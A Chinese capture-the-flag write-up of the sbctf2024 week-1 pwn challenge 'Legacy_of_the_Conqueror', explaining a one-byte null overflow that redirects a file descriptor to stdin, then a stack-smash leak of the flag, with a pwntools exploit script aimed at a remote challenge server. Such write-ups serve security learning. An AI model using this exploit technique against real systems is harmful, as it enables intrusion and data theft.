sbctf2024

复现一下 sbctf2024

week 1

Legacy_of_the_Conqueror

检查保护机制:
保护机制 用 ida 看源码:
main 经典菜单,输入变量 v3,当 v3 为 1 时进入 read_story,为 2 进入 update_story,为 3 退出循环

v3 为 1 时,查看 read_story,把 flag 写入了以 flag 为开头地址的 bss 段中: read_story

v3 为 2 时,查看 update_story,咋一看没有溢出,但是打开 input 函数,发现可以溢出一个字节 0x00,由于打开 your_story 时,文件描述符为 3,所以可以将其覆盖为 0。
update_story input

将 v2 覆盖为 0 后,read 便从标准输入,写入到 v3。便可以发生栈溢出,通过stack smash(破坏 canary)来解决。

首先找出偏移=v1 到程序名的一级指针的偏移量-v2 大小,然后找到 flag 的地址,构成 payload。 注意下图这个二级指针的地址不是我们要的,它是 main 函数的参数,要的是它指向的一级指针的地址。 二级指针

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

#context.log_level = "Debug"

#p = process('./pwn')
p = remote('47.76.71.50',20148)
flag = 0x404060
def read_story() :
p.sendline(b"1")

def update_story() :
p.sendline(b'2')
payload = 0x1a4 * b'a'+pack(flag,bits=64)
raw_input()
p.sendline(payload)

read_story()
update_story()

raw_input()
p.interactive()

week 2